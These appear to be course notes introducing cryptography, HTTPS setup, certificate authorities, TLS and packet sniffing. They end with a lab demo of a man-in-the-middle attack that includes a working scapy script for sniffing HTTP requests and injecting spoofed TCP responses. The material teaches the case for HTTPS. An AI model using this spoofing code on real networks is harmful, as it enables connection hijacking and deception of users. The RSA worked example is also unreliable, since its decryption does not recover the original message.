--- tags: devtools2021 --- # Fundamentals of Network Security and Trustworthy Applications (Day2-Morning) ## Today's schedule: * 0900-1000 Introduction to **Cryptography** * Substitution cypher * Asymmetric key encryption (RSA) * 1000-1030 Enabling **HTTPs** * Key generation with OpenSSL * `tcpdump` packet inspection * 1030-1100 *Break* * 1100-1130 **Certificate Authority** * Motivation for a CA * Important security properties * 1130-1230 Introduction to Transport Layer Security (**TLS**) * Handshake and key generation * Packet sniffing with Wireshark * 1230-1330 Lunch * 1330-1400 Man in the middle **attack** (demo) * 1400-1430 Introduction to **shell scripting** * Motivation for shell scripts * Understanding shebang * 1430-1500 Various file-related **background** **knowledge** * File permission * File links * Exercise on file hardlink and symbolic link * 1500-1530 Bash script **syntax** familiarisation, **sourcing** scripts and **aliasing** * Important parameters, special characters * Exercise: bash scripting * 1530-1600 **Bash profiles** (*maybe we have time for afternoon tea here*) * Basic motivation * Exercise: writing our own `~/.bash_profile` file * 1600-1630 Running startup scripts with **cron** * Understanding cron * Adding new cron jobs, listing cron jobs, and deleting them * 1630-1700 Exercise: introduction to useful tools and **summary** * Studying common text manipulation tools * Studying common monitoring tools * Summary and future discussion *Note: afternoon tea break at your own time*. ## Motivation One apparent *problem* with our simple server is that it runs on plain HTTP, which means that the *message* (between server and client) **is not encrypted**. A malicious third party can **sniff** the packets exchanged and used the exchanged information to their advantage (**passive attack**) or tried to **hijack** the connection; such as posing as a fake server to the client -- tricking the client to give important information to this fake server (**active attack**). To demonstrate how we can *sniff* packets, open a new terminal (Opt+t) in Cloud9, and type the command (the IP refers to my personal EC2 instance). ```shell= sudo tcpdump -i any -c25 -nn -XX host 13.229.86.139 ``` > [`tcpdump`](https://www.tcpdump.org) is a data-network packet **analyzer** computer program that runs under a command line interface. It allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached. **Task:** find out what the options `-i`, `-c25`, `-nn`, and `-XX` means. Then open another terminal and make a `HTTP GET` request using the command: ```shell= curl http://13.229.86.139:8000 ``` You should see the output of the `curl` containing the message in plaintext: ![](https://i.imgur.com/silWgVE.png) Meanwhile the output of the `tcpdump` is updated: ![](https://i.imgur.com/XjOWkoY.png) It contains several handshake messages in the beginning with length 0 (no *payload* in TCP, equivalent to no *message* for the Application Layer). The hex representation below (and equivalent translation to ASCII) is simply the content of the packets (header + payload). Afterwards, we can start to see the `GET` result and the response in **plaintext**: ![](https://i.imgur.com/l7Smk8C.png) Since there's no security measure at all, a malicious third party can launch various security attacks: eavesdrop, message alteration attack, impersonation and hijacking among many others. To put things into perspective, imagine yourself sending confidential information such as **IC** number, **Credit Card** details, **username** and **password** over HTTP. What could go wrong? *Everything*. You'll be vulnerable to identity theft or worse. Each of these security attacks compromise specific security **properties**: * **Eavesdrop** attack threatens **confidentiality** * Message **alteration** attack threatens **integrity** * **Impersonation** and hijacking threatens **authentication** So how can we protect our applications? Or as clients, how can we be sure that these servers are trustworthy? In order to answer these questions, we need to dive into the basics of Cryptography. ## Cryptography (60 mins) The most basic way to support some of these security properties is encryption. For example, encrypting your messages ensures **confidentiality**, as attackers are unable to understand your message / eavesdrop if good encryption algorithms are applied. ### Substitution Cipher A naive attempt to encrypt your text message is by **mapping** from a set of letters to another set as such: ![](https://i.imgur.com/dMc9M54.jpg) **What are the disadvantages of such naive Substitution Cipher?** ## Asymmetric Key Cryptography ![](https://i.imgur.com/bspOlWU.png) #### Key Generation The **RSA** (Rivest-Shamir-Adleman, 1977) steps to generate the keys are as follows: * Sender, receiver, do not share secret key * Public encryption key known to all * Private decryption key known only to receiver * 1024 - 4096-bit asymmetric (public-private) key pair * 1 round of encryption * Input/output size: depends on key size and padding **Two important requirements:** * Given public key, it is **impossible** to compute the private key * Need a public-private key pair such that, * encrypt(message, public_key) = ciphertext (`encryption`) * decrypt(ciphertext, private_key) = message (`decryption`) * Note that the opposite can also be done: * encrypt(message, private_key) = signed_ciphertext (`signing`) * decrypt(signed_ciphertext, public key) = message (`verification`) ### The Key Pair We skip the math behind public-private key generation. However, the key is simply made up of two parts: * Two large numbers: `n` and `e` for public key, 1024-4096 bits in total * Two large numbers: `n` and `d` for private key, 1024-4096 bits in total To generate private (d,n) key using `openssl`, use the following command: ``` openssl genrsa -out private-key.pem 1024 ``` To generate public (e,n) key from the private key using openssl you can use the following command: ``` openssl rsa -in private.pem -out public-key.pem -pubout ``` ![](https://i.imgur.com/KuxRGM3.png) To dissect the contents of the `private-key.pem` key generated by the openssl command, we use the command: ``` openssl rsa -in private-key.pem -text ``` The output is something like this: ``` modulus - n publicExponent - e privateExponent - d prime1 - p prime2 - q exponent1 - d mod (p-1) exponent2 - d mod (q-1) coefficient - (q^-1) mod p ``` ![](https://i.imgur.com/SQk5rQ9.png) It seems to have more stuffs than just `n` and `d`, however the private key consists of 6 extra components because it also contains `e` (public exponent) *so that public RSA key can be generated/extracted/derived* from the private.pem private RSA key. The rest 5 components are there to **speed** up the decryption process. The public key contains only the modulus and the exponent: ![](https://i.imgur.com/CwYNI8I.png) ### Working example of message encryption Our computer translates between bit patterns to the character you can see on screen, e.g using UTF-8 encoding. You can represent a message by an **integer** (simple binary to dec translation), such as below: ![](https://i.imgur.com/fBbD81e.png) Thus encrypting a message is equivalent to **performing mathematical operations** on an integer (number). To **encrypt** something using RSA public key you treat your plaintext as a number and raise it to the power of e modulus n: ``` ciphertext = ( plaintext^e ) mod n ``` To decrypt something using RSA private key you treat your ciphertext as a number and raise it to the power of d modulus n: ``` plaintext = ( ciphertext^d ) mod n ``` For illustration purposes, suppose `openssl` gives us `e=5, d=29, n=35`. Let's say we have `m=A`, this translates to `0x41` in ascii, which is `0100 0001` in binary. This value in decimal is 65. * Encryption: $c = 65^5 \mod 35 = 25 =$ `00011001` * Decryption: $m=25^{29} \mod 35= 30 =$ `000011110` ### Try it yourself (30 mins) Create a plaintext file via the command line: ``` echo "Hello World! Good morning and have a nice day." > plaintext.txt ``` If you haven't done it already, generate the private-public key pair of length 2048 each: ``` openssl genrsa -out private-key.pem 2048 openssl rsa -in private-key.pem -pubout -out public-key.pem ``` Then use the **public** key to **encrypt** the plaintext: ``` openssl rsautl -encrypt -inkey public-key.pem -pubin -in plaintext.txt -out ciphertext.txt.enc ``` Read the output of `ciphertext.txt.enc` using the command `cat ciphertext.txt.enc`: ![](https://i.imgur.com/jRFWO3I.png) You can use the **private** key to **decrypt** it back into plaintext. ``` openssl rsautl -decrypt -inkey private-key.pem -in ciphertext.txt.enc -out plaintext-decrypted.txt ``` The decrypted file contains exactly the same contents as the original `plaintext.txt`: ![](https://i.imgur.com/SQfqCW9.png) If someone wants to send a message to you where you are the only entity who can decipher its content, then the sender **must** encrypt with **your** public key. Since it is assumed that **nobody else** but yourself has the possesion of the private key, then it means that you're the **sole party** who can understand the message sent by the sender. #### Signing a message If encrypt with the private key, anybody with your public key can decrypt the message. This does not ensure confidentiality, but it proves that the message came from you (unaltered). This process of encrypting a message with one's private key is called **signing**. You can **sign** a message with `openssl` too: ``` openssl rsautl -sign -inkey private-key.pem -keyform PEM -in plaintext.txt > signedtext.txt.enc ``` ![](https://i.imgur.com/5YjzYTE.png) Equivalently, the process of decryption with public key is called **verification**. We can see that the output of the verification is simply the original content (human readable) of `plaintext.txt`. ``` openssl rsautl -verify -inkey public-key.pem -pubin -keyform PEM -in signedtext.txt.enc ``` ![](https://i.imgur.com/g8fOGdP.png) Note that it is very **extremely unlikely** that the output of decryption with mismatched public key can *also result* in perfectly human-readable output. Therefore if our output is completely human readable, then we are safe. ## Enabling HTTPs (30 mins) HTTPs uses **SSL** (Secure Socket Layer) encryption, by default runs at PORT 443. Most websites run on HTTPs now (that lock symbol on ur browser). HTTPs is not a separate protocol, but refers to use of ordinary HTTP over an *encrypted SSL/TLS connection.* Why use HTTPs? * Intruders both **malignant** and **benign** **exploit** **every unprotected resource** (e.g: cross-site scripting) between your websites and users -- they inject (contents like ads), intercept requests, redirects websites, etc * Many intruders look at **aggregate behaviours** to identify your users: people can learn who uses your websites and listen to sensitive information like login credentials * HTTPS doesn't just block misuse of your website. It's also a **requirement** for many cutting-edge features and an enabling technology for app-like capabilities such as service workers. Create a new file called `https-server.js` in your EC2 instance via Cloud9 (or any other avenue of your choice). We will now try to write a simple "hello world" server using encrypted connection. ```javascript= const https = require('https'); const fs = require('fs'); const options = { key: fs.readFileSync('key.pem'), cert: fs.readFileSync('cert.pem') }; https.createServer(options, function (req, res) { res.writeHead(200); res.end("My first server!\n"); }).listen(8080); ``` It requires **two additional files**: `key.pem` and `cert.pem`. The first file, `key.pem` contains the private-key of the server, and the second file, `cert.pem` contains the **public key** of the server. We can easily generate these things like before using the following commands: ```shell= cd <your working directory> openssl genrsa -out key.pem openssl req -new -key key.pem -out csr.pem openssl x509 -req -days 9999 -in csr.pem -signkey key.pem -out cert.pem rm csr.pem ``` Save these two files `key.pem` and `cert.pem` in the same **directory** as `https-server.js`, and run the command as usual to start the server: ``` node https-server.js ``` Note that this time round we are using **port 8080**, arbitrarily chosen so that it doesn't clash with the original HTTP server running in port 8000. You need to edit your EC2's inbound rules to enable connection here in port 8080: ![](https://i.imgur.com/WUmhwa1.png) Afterwards, go to the URL https://<your EC2 public IP>:8080 You will be warned with something like this warning you that the **certificate is invalid**: ![](https://i.imgur.com/sUxDBXY.png) Keep calm and click "Advanced", then "continue" to proceed. You should see this output: ![](https://i.imgur.com/z4L3GtH.png) We now know that this connection is made via HTTPs because there exist the **lock** icon on your browser as such (although it is deemed "not secure", but it is not exactly due to lack of encryption): ![](https://i.imgur.com/7SkPUG3.png) In comparison, this is the same site using HTTP instead of HTTPs (the lock icon is crossed): ![](https://i.imgur.com/suDgMGg.png) You can also inspect the packet using `tcpdump`. As we have done before, run this command in one Cloud9 terminal: ``` sudo tcpdump -i any -c50 -nn -XX host <your EC2 public IP address> ``` Then open another terminal in Cloud9 to run the node servers: ``` node server.js & node https-server.js & ``` The "&" sign at the end tells the `node` process to **run in the background** so the prompt in the terminal returns and you can type the `curl` commands to attempt to make connections to these servers: At first make a connection to the HTTP server: ``` curl http://<your EC2 Public IPv4>:8000 ``` Over at the `tcpdump`, you should be able to read the message "hello world" just fine (you need to scroll down to find this packet): ![](https://i.imgur.com/xTmZBvU.png) Then make a connection to the HTTPs server (re-run `tcpdump` if it is not running yet): ``` curl -k https://<your EC2 Public IPv4>:8080 ``` The message exchanged between client and server is encrypted, and we can't make sense on any of it: ![](https://i.imgur.com/hb86WYe.png) With encrypted connection between server and client, **confidentiality** is supported. However, our problem does not end here. Recall the *trusted certificate* issue complained by our browser above. We do not know for sure if the *certificate* sent by the Server indeed *belongs* to the server (and not a fake identity). This is analogous to how one can make or buy fake Identity Card. ## Certificate Authority (30 mins) Consider this simple scenario below where: * A: Server * B: Client * T: Malicious party ![](https://i.imgur.com/5sEsUHZ.png) It is common that prior to any communication, B **wants to authenticate** A. This means that B wants to **ensure** that A is indeed A (the server, e.g: Google is *indeed* Google and *not someone else posing as Google*). B generally does this by: * Sending a Nonce to A * Expecting a reply from A where A digitally signs the Nonce Since only A has A's private key (Ka-), then the fact that the ever-changing Nonce is able to be signed by A each time a new connection is made ensures that B is talking to a *live* A (and not some **recording** of A's past messages). ==However there's **no way** for B to tell if the public key B receives (Kt+) *belongs* to A or belongs to T.== This is analogous to how in real life some people created *fake* Identity Cards. The only way to check if the card is legitimate is by calling the governing body that issued the card. This governing body is usually a well-known trusted body, such as a country or reputable companies. Similarly, we need an **external** and **trusted** party called **Certification Authority** (CA) to verify that A’s public key indeed belongs to A. ![](https://i.imgur.com/ao8plqh.png) The steps goes as follows: * A has to obtain a certificate from trusted CA * CA verifies that A exists, checks A’s documents etc * CA issues a certificate that the Public Key of A indeed belongs to A * This certificate is signed by CA’s private key * CA’s public key is widely known, so nobody can impersonate the CA * B can obtain A’s public key from the certificate by decrypting it using the CA’s widely known public key A [Certificate Authority](https://www.thesslstore.com/blog/what-is-a-certificate-authority-ca-and-what-do-they-do/) obviously has to be a **trusted** entity such as: **government** (e.g., IDA) or **well known provider**. Real-life examples of trusted CAs are: IdenTrust, Comodo, GlobalSign, DigiCert, GoDaddy, and many more. Modern browsers will warn you if some website’s certificates are not verified. Below is an example of a legal certificate of netflix.com’s public key, signed by DigiCert as its CA. ![](https://i.imgur.com/bqmsEGi.png) The addition of a CA enables B to be sure that A’s public key indeed belongs to A. The following security properties are guaranteed: * **Authentication**: * The Nonce ensures that the message signed by A is fresh * **Confidentiality**: not applicable because the message is sent in plain text * **Integrity**: * A has a CA signed certificate, hence B can verify that the data was authorized by A. ## Transport Layer Security (90 mins) Browsing HTTPS enabled website with Transport Layer Security (TLS) 1.3 ![](https://i.imgur.com/3HhgQwM.png) TLS was created to provide a secure communication channel. It sits between Transport and Application layer. ![](https://i.imgur.com/F5IWbEF.png) TLS implements **asymmetric** encryption as we have learned above, a **symmetric** key encryption (similar to asymmetric encryption but with the *same secret key*) and **key exchange** algorithms to all three security properties: 1. Confidentiality 2. Integrity 3. Authentication When TLS receives/sends a packet, it does a combination of the following: 1. Encryption 3. Decryption 4. Integrity check Once the data from Application layer passes through TLS, to Network layer, the **payload** (content) is encrypted by a **session** key (symmetric encryption). This session key is generated from TLS handshake process. **TLS is normally implemented on top of TCP in order to encrypt Application Layer protocols such as HTTP, FTP, SMTP**. There are a few notable libraries such as OpenSSL, Java Secure Socket Extension, and BoringSSL. You can view them all [here](https://en.wikipedia.org/wiki/Comparison_of_TLS_implementations). Most modern Operating Systems such as macOS have implemented TLS as part of their [Network Security modules](https://support.apple.com/en-sg/guide/security/sec100a75d12/web). Modern Web Browsers such as Chrome and Firefox also have implemented TLS 1.3. You may want to check whether they're [enabled by default](https://support.cloudflare.com/hc/en-us/articles/227172348-Understanding-TLS-1-3). ### TLS Handshake ![](https://i.imgur.com/0ZDG76y.png) Important steps: 1. Server sends **certificate** to Client 2. Client **verifies** the certificate is valid 3. Server and Client **generate** session key (symmetric key) based on asymmetric key (from where?) 4. Further communications are done by encryption using **session** key for better performance, as asymmetric encryption is computationally more **intensive**. The exact steps within a TLS handshake will vary depending upon the kind of key exchange algorithm used and the cipher suites supported by both sides. **The RSA key exchange algorithm is used most often**. It goes as follows: * **The 'client hello' message:** The client initiates the handshake by sending a "hello" message to the server. The message will include which TLS version the client supports, the cipher suites supported, and a string of random bytes known as the "client random." * **The 'server hello' message:** In reply to the client hello message, the server sends a message containing the server's SSL certificate, the server's chosen cipher suite, and the "server random," another random string of bytes that's generated by the server. * **Authentication**: The client verifies the server's SSL certificate with the certificate authority that issued it. This confirms that the server is who it says it is, and that the client is interacting with the actual owner of the domain. * **The premaster secret**: The client sends one more random string of bytes, the "premaster secret." The premaster secret is encrypted with the public key and can only be decrypted with the private key by the server. (The client gets the public key from the server's SSL certificate.) * **Private key used**: The server decrypts the premaster secret. * **Session keys created**: Both client and server generate session keys from the client random, the server random, and the premaster secret. They should arrive at the same results. * **Client is ready**: The client sends a "finished" message that is encrypted with a session key. * **Server is ready**: The server sends a "finished" message encrypted with a session key. * Secure **symmetric** encryption achieved: The handshake is completed, and communication continues using the session keys. ### More details: TLS Key Generation and Exchange ![](https://i.imgur.com/zDHfh6d.png) If interested, you may do further reading [here](https://www.acunetix.com/blog/articles/establishing-tls-ssl-connection-part-5/) or [here](https://www.thesslstore.com/blog/explaining-ssl-handshake/). ### TLS Data Transmission TLS **encapsulates** and **encrypts** any Application layer **payload**. The payload is stored using **Records** as data structure. Each **record** contains a *header* and a *payload*: ![](https://i.imgur.com/yvdp7GN.png) This "Data" in TLS payload corresponds to **Application layer data**. The Application Data goes through a **series** of steps, from fragmentation, compression, MAC (message authententation code), padding, encryption, to be converted to TLS encrypted data: ![](https://i.imgur.com/As6E90T.png) The TLS encrypted data is then passed down the network stack to Transport layer, where the packet will be delivered to the intended recipient. The goal of TLS is to **encrypt** the data such that the data is **not viewable** by **anyone below the layer**, such as Transport layer. ### Activity: Wireshark + HTTP [Install Wireshark](https://www.wireshark.org). This activity results in pretty much the same output as `tcpdump` above, but with better representation. After installation, open Wireshark and choose your Wi-Fi connection to capture: ![](https://i.imgur.com/T6rZ3JV.png) This will result in Wireshark capturing all network traffic via WiFi. You can filter out specifically traffic involving ip addresses to your EC2 instance, such as follows: ![](https://i.imgur.com/ZF3lHmh.png) Simply type `ip.addr == < your EC2 IP >` in the filter bar. Don't forget to run the server code first in your EC2. The result above is a result of capture when we load the webpage to the plain `http` **once**. Here's some brief explanation: 1. The first three packets are the result of TCP **handshake** (frame 1623-1625) 2. You can see that the server uses port `8000` (as set in `server.js`) while our computer uses port `50696` (decided by the browser). 3. Then, our machine sends a `HTTP GET` request to the server (frame 1626) 4. The server replies with a TCP ACK (acknowledgement, frame 1627), along with the `HTTP OK` containing the content of the webpage,i.e: 'My first server!' string (frame 1628) 5. Our computer acknowledges the `HTTP OK` answer with an `ACK` (frame 1629) 6. The rest of the TCP packets are further protocols to end the connection (`FIN`) initiated by the server in frame 1723 (since there's no more requests). Notice that there's also possible retransmission packet (frame 1716) by our computer while waiting for the server's reply. ### Activity: Wireshark TLS + HTTP As you can see above, HTTP (hypertext transfer protocol) was implemented as a simple text transfer protol. It does not do any encryption to prevent data to be sniffed. We can clearly see this as Wireshark can identify that the packet contains HTTP protocol and its payload. HTTPS is a secure version of HTTP that uses TLS for encryption. Traffic that are sent through HTTPS are more **secure**, less prone to sniffing and other attacks. Repeat the sniffing of packets again but this time round when you're loading the server via https: ![](https://i.imgur.com/vVRabsT.png) Since all the traffic is **encrypted**, **we can no longer tell which packet contains the HTTP response**. We can make some educated guess by looking at its length, but even so we ended up with a bunch of encrypted content as shown in the screenshot above. Hence a passive attacker will not be able to steal any important information. ### Demo: Man in the Middle Attack (MITM) To demonstrate the consequence of using plain HTTP, we need two Virtual Machines: one act as the client, and one act as the malicious attacker. Our host OS will act as the server. We will be demonstrating this attack to you as the size of the VMs are rather large. This attack can be done by anybody in your **Local Area Network**. The idea is to *hijack* the connection between the Server and the Client by sending a response to the requesting client in a way that is **faster than the actual server** itself. To demonstrate this clearly and easily, we tweak our Server code to introduce a brief **delay**. This exaggeration gives us enough time to demonstrate to you how the attacker can take advantage of this opportunity. The "delay" is introduced when replying the HTTP query (line 10 below): ```javascript= const http = require("http"); const host = "0.0.0.0"; const port = 8000; const requestListener = function (req, res) { res.writeHead(200); setInterval(() => { res.end("My first server!"); }, 1000); // add a delay }; const server = http.createServer(requestListener); server.listen(port, host, () => { console.log(`Server is running on http://${host}:${port}`); }); ``` An attacker typically has the ability to sniff network packets, and able to intercept, construct and spoof response packets to pretend to the valid Webserver to serve website to Client. For instance, the python library [`scapy`](https://scapy.net/) can used to capture and construct packets. A typical network packet looks like the following: ![](https://i.imgur.com/KYzbdNl.png) To successfully trick the Client's browser into accepting the spoofed packet, the spoofed packet **must** appear to be originated from Webserver. > In particular, source and destination MAC, IP addresses, source and destination TCP port numbers, TCP flag, TCP acknowledgement number, TCP sequence number must match that of a valid packet from Webserver. Our goal in this demo is that we want to spoof the packet with the **content**: `Hijacked!!!`. A simple attacker's code is as follows: ```python= from scapy.all import * load_layer("http") SERVER_IP = "192.168.2.11" CLIENT_IP = "10.0.2.10" def reply_with_spoofed_packet(packet_ethernet): try: if (b"GET" in packet_ethernet[TCP].load): packet_ethernet.show() # easier to calculate seq_num and ack_num spoofed_packet = Ether( src=packet_ethernet[Ether].dst, dst=packet_ethernet[Ether].src) / IP( src=packet_ethernet[IP].dst, dst=packet_ethernet[IP].src, ) / TCP( sport=packet_ethernet[TCP].dport, dport=packet_ethernet[TCP].sport, flags="PA", seq=packet_ethernet[TCP].ack, ack=packet_ethernet[TCP].seq + len(packet_ethernet[TCP].load), ) / HTTP() / HTTPResponse( Server=SERVER_IP) / "Hijacked!!!\n" spoofed_packet.show() sendpfast(spoofed_packet) except: pass pkt = sniff(filter='dst host {SERVER_IP}'.format(SERVER_IP=SERVER_IP), prn=reply_with_spoofed_packet) ``` * `scapy` works by filtering all the packets through a certain criteria. In this attack, the criteria is all HTTP traffic with destination set to Webserver. * Once a packet is filtered, the **callback** function, `reply_with_spoofed_packet` is executed, constructing the spoofed packet and send it to Client, hoping the Client's browser will accept the spoofed packet. Attacker should run the attacking script: ![](https://i.imgur.com/xUknURh.png) And here's the screenshot of the client's browser connecting to Website: ![](https://i.imgur.com/HWhdRVs.png) As shown in the screenshot above, the content of the website is **changed**, by Attacker's MITM attack. The **original content** of the server however is **still** received by the Client's browser (i.e: the string "My first server!" is still rendered out). ### HTTPs to the rescue Hopefully it is evident by now that HTTPs can prevent hijacking and spoofing. The brief summary of HTTP encryption, decryption process is as follows: 1. Website (server) **generates** Public key, Private key 2. Website **creates** certificate containing Public key (register with CA) 3. Website **sends** certificate to any requesting Client browser 4. Client browser obtains Website's Public key from certificate (of course certificate must be issued by trustworthy CA and **verified** by the client) 5. Client and Server **negotiate** to generate (symmetric) session key 6. Client browser makes a **request** to Website, encrypting the request using session key 7. Website **receives** the encrypted request, decrypts request with session key 8. Website **replies** with encrypted response, encrypted with session key 9. Client browser **receives** encrypted response, decrypts the response with session key 10. Client browser **displays** response. As shown via the Wireshark activity above, HTTPs content appears as **encrypted** payload wrapped in TCP packet. Without the session key from Server's site, Attacker is **not able to sniff** and *view* the HTTP Headers. Without this ability, MITM attack in the previous section is impossible, as Attacker does not know when Client is making a request, and **how to spoof the encrypted packet** containing Server's site response. There's way more to learn about Network Security, and what we have covered today barely touched the surface but hopefully it served as a good motivation to continue your learning. A recommended book for further reading is [Applied Network Security Monitoring](https://www.amazon.com/Applied-Network-Security-Monitoring-Collection/dp/0124172083) by Sanders and Smith. Please proceed [here](https://hackmd.io/@Crimsonlycans/HyXjB-RbF) for our afternoon lesson.